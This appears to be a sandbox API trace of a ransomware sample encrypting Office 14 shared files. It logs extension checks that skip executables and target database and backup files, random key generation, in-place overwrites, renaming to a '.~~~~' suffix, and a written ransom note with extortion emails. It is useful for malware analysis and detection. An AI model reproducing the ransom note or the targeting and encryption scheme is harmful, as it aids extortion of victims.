	[0079.454] lstrlenW (lpString=".bak") returned 4
	[0079.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".bak") returned 0x0
	[0079.454] lstrlenW (lpString=".myd") returned 4
	[0079.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".myd") returned 0x0
	[0079.454] lstrlenW (lpString=".DTXS") returned 5
	[0079.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".DTXS") returned 0x0
	[0079.454] lstrlenW (lpString=".ckp") returned 4
	[0079.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".ckp") returned 0x0
	[0079.454] lstrlenW (lpString=".dbt") returned 4
	[0079.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".dbt") returned 0x0
	[0079.454] lstrlenW (lpString=".db") returned 3
	[0079.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".db") returned 0x0
	[0079.455] lstrlenW (lpString=".TXT") returned 4
	[0079.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".TXT") returned 0x0
	[0079.455] lstrlenW (lpString=".MDF") returned 4
	[0079.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".MDF") returned 0x0
	[0079.455] lstrlenW (lpString=".bdb") returned 4
	[0079.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".bdb") returned 0x0
	[0079.455] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0079.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.455] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0079.456] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.456] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0079.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0079.456] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19944650190) returned 1
	[0079.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9937b930, dwHighDateTime=0x1d60e1e)) 
	[0079.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0079.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0079.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0079.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b758
	[0079.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b758 | out: hHeap=0x300000) returned 1
	[0079.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6b50
	[0079.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fafe0
	[0079.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0079.457] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0079.457] GetLastError () returned 0x0
	[0079.457] GetLastError () returned 0x0
	[0079.457] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0079.458] GetLastError () returned 0x0
	[0079.458] GetLastError () returned 0x0
	[0079.458] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.554] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.554] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0079.555] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.555] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.626] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.626] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.626] CloseHandle (hObject=0x120) returned 1
	[0079.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0079.755] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACETXT.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acetxt.dll.~~~~")) returned 1
	[0079.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0079.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0079.757] GetLastError () returned 0x0
	[0079.759] RtlWakeConditionVariable () returned 0x365f70
	[0079.759] GetCurrentThreadId () returned 0x3a4
	[0079.759] GetCurrentThreadId () returned 0x3a4
	[0079.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0079.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb668 | out: hHeap=0x300000) returned 1
	[0079.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b7e8 | out: hHeap=0x300000) returned 1
	[0079.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb668
	[0079.760] lstrlenW (lpString=".scr") returned 4
	[0079.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll", lpSrch=".scr") returned 0x0
	[0079.760] lstrlenW (lpString=".cmd") returned 4
	[0079.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll", lpSrch=".cmd") returned 0x0
	[0079.760] lstrlenW (lpString=".dll") returned 4
	[0079.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll", lpSrch=".dll") returned=".dll"
	[0079.760] lstrlenW (lpString=".dll") returned 4
	[0079.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb668 | out: hHeap=0x300000) returned 1
	[0079.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb110 | out: hHeap=0x300000) returned 1
	[0079.760] RtlWakeConditionVariable () returned 0x365f70
	[0079.760] GetCurrentThreadId () returned 0x3a4
	[0079.760] GetCurrentThreadId () returned 0x3a4
	[0079.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0079.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb700 | out: hHeap=0x300000) returned 1
	[0079.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b820 | out: hHeap=0x300000) returned 1
	[0079.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb700
	[0079.760] lstrlenW (lpString=".scr") returned 4
	[0079.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll", lpSrch=".scr") returned 0x0
	[0079.760] lstrlenW (lpString=".cmd") returned 4
	[0079.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll", lpSrch=".cmd") returned 0x0
	[0079.760] lstrlenW (lpString=".dll") returned 4
	[0079.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll", lpSrch=".dll") returned=".dll"
	[0079.761] lstrlenW (lpString=".dll") returned 4
	[0079.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb700 | out: hHeap=0x300000) returned 1
	[0079.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb110 | out: hHeap=0x300000) returned 1
	[0079.761] RtlWakeConditionVariable () returned 0x365f70
	[0079.761] GetCurrentThreadId () returned 0x3a4
	[0079.761] GetCurrentThreadId () returned 0x3a4
	[0079.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0079.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7138 | out: hHeap=0x300000) returned 1
	[0079.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b858 | out: hHeap=0x300000) returned 1
	[0079.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b7138
	[0079.761] lstrlenW (lpString=".scr") returned 4
	[0079.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpSrch=".scr") returned 0x0
	[0079.761] lstrlenW (lpString=".cmd") returned 4
	[0079.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpSrch=".cmd") returned 0x0
	[0079.761] lstrlenW (lpString=".dll") returned 4
	[0079.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpSrch=".dll") returned 0x0
	[0079.761] lstrlenW (lpString=".bat") returned 4
	[0079.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpSrch=".bat") returned 0x0
	[0079.761] lstrlenW (lpString=".cpl") returned 4
	[0079.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpSrch=".cpl") returned 0x0
	[0079.761] lstrlenW (lpString=".sys") returned 4
	[0079.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpSrch=".sys") returned 0x0
	[0079.761] lstrlenW (lpString=".msc") returned 4
	[0079.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpSrch=".msc") returned 0x0
	[0079.762] lstrlenW (lpString=".com") returned 4
	[0079.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpSrch=".com") returned 0x0
	[0079.762] lstrlenW (lpString=".lnk") returned 4
	[0079.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpSrch=".lnk") returned 0x0
	[0079.762] lstrlenW (lpString=".msp") returned 4
	[0079.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpSrch=".msp") returned 0x0
	[0079.762] lstrlenW (lpString=".pif") returned 4
	[0079.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpSrch=".pif") returned 0x0
	[0079.762] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpSrch="msp\r\n.pif") returned 0x0
	[0079.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0079.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7138 | out: hHeap=0x300000) returned 1
	[0079.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0079.762] RtlWakeConditionVariable () returned 0x365f70
	[0079.762] GetCurrentThreadId () returned 0x3a4
	[0079.762] GetCurrentThreadId () returned 0x3a4
	[0079.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0079.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5bd0 | out: hHeap=0x300000) returned 1
	[0079.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b890 | out: hHeap=0x300000) returned 1
	[0079.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5bd0
	[0079.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0079.763] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0079.763] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0079.765] CloseHandle (hObject=0x120) returned 1
	[0079.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5bd0 | out: hHeap=0x300000) returned 1
	[0079.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6470 | out: hHeap=0x300000) returned 1
	[0079.765] RtlWakeConditionVariable () returned 0x365f70
	[0079.765] GetCurrentThreadId () returned 0x3a4
	[0079.765] GetCurrentThreadId () returned 0x3a4
	[0079.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0079.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb798 | out: hHeap=0x300000) returned 1
	[0079.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b8c8 | out: hHeap=0x300000) returned 1
	[0079.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb798
	[0079.765] lstrlenW (lpString=".scr") returned 4
	[0079.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".scr") returned 0x0
	[0079.765] lstrlenW (lpString=".cmd") returned 4
	[0079.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".cmd") returned 0x0
	[0079.765] lstrlenW (lpString=".dll") returned 4
	[0079.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".dll") returned 0x0
	[0079.766] lstrlenW (lpString=".bat") returned 4
	[0079.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".bat") returned 0x0
	[0079.766] lstrlenW (lpString=".cpl") returned 4
	[0079.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".cpl") returned 0x0
	[0079.766] lstrlenW (lpString=".sys") returned 4
	[0079.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".sys") returned 0x0
	[0079.766] lstrlenW (lpString=".msc") returned 4
	[0079.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".msc") returned 0x0
	[0079.766] lstrlenW (lpString=".com") returned 4
	[0079.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".com") returned 0x0
	[0079.766] lstrlenW (lpString=".lnk") returned 4
	[0079.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".lnk") returned 0x0
	[0079.766] lstrlenW (lpString=".msp") returned 4
	[0079.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".msp") returned 0x0
	[0079.766] lstrlenW (lpString=".pif") returned 4
	[0079.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".pif") returned 0x0
	[0079.766] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0079.767] lstrlenW (lpString=".sqb") returned 4
	[0079.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".sqb") returned 0x0
	[0079.767] lstrlenW (lpString=".ost") returned 4
	[0079.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".ost") returned 0x0
	[0079.767] lstrlenW (lpString=".txt") returned 4
	[0079.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".txt") returned 0x0
	[0079.767] lstrlenW (lpString=".mdt") returned 4
	[0079.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".mdt") returned 0x0
	[0079.767] lstrlenW (lpString=".BDB") returned 4
	[0079.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".BDB") returned 0x0
	[0079.767] lstrlenW (lpString=".eql") returned 4
	[0079.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".eql") returned 0x0
	[0079.767] lstrlenW (lpString=".DBF") returned 4
	[0079.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".DBF") returned 0x0
	[0079.767] lstrlenW (lpString=".EQL") returned 4
	[0079.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".EQL") returned 0x0
	[0079.767] lstrlenW (lpString=".FDB") returned 4
	[0079.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".FDB") returned 0x0
	[0079.767] lstrlenW (lpString=".EDB") returned 4
	[0079.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".EDB") returned 0x0
	[0079.768] lstrlenW (lpString=".DACPAC") returned 7
	[0079.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.768] lstrlenW (lpString=".VHD") returned 4
	[0079.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".VHD") returned 0x0
	[0079.768] lstrlenW (lpString=".DBV") returned 4
	[0079.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".DBV") returned 0x0
	[0079.768] lstrlenW (lpString=".dacpac") returned 7
	[0079.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".dacpac") returned 0x0
	[0079.768] lstrlenW (lpString=".sdf") returned 4
	[0079.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".sdf") returned 0x0
	[0079.768] lstrlenW (lpString=".accdb") returned 6
	[0079.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".accdb") returned 0x0
	[0079.768] lstrlenW (lpString=".DBX") returned 4
	[0079.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".DBX") returned 0x0
	[0079.768] lstrlenW (lpString=".MDT") returned 4
	[0079.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".MDT") returned 0x0
	[0079.768] lstrlenW (lpString=".SQB") returned 4
	[0079.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".SQB") returned 0x0
	[0079.768] lstrlenW (lpString=".vhd") returned 4
	[0079.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".vhd") returned 0x0
	[0079.768] lstrlenW (lpString=".bac") returned 4
	[0079.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".bac") returned 0x0
	[0079.769] lstrlenW (lpString=".mdf") returned 4
	[0079.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".mdf") returned 0x0
	[0079.769] lstrlenW (lpString=".BAK") returned 4
	[0079.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".BAK") returned 0x0
	[0079.769] lstrlenW (lpString=".BAC") returned 4
	[0079.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".BAC") returned 0x0
	[0079.769] lstrlenW (lpString=".dbs") returned 4
	[0079.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".dbs") returned 0x0
	[0079.769] lstrlenW (lpString=".vhdx") returned 5
	[0079.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".vhdx") returned 0x0
	[0079.769] lstrlenW (lpString=".NDF") returned 4
	[0079.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".NDF") returned 0x0
	[0079.769] lstrlenW (lpString=".dat") returned 4
	[0079.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".dat") returned 0x0
	[0079.769] lstrlenW (lpString=".DBS") returned 4
	[0079.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".DBS") returned 0x0
	[0079.769] lstrlenW (lpString=".CKP") returned 4
	[0079.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".CKP") returned 0x0
	[0079.769] lstrlenW (lpString=".edb") returned 4
	[0079.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL", lpSrch=".edb") returned 0x0
	[0079.769] lstrlenW (lpString=".PST") returned 4
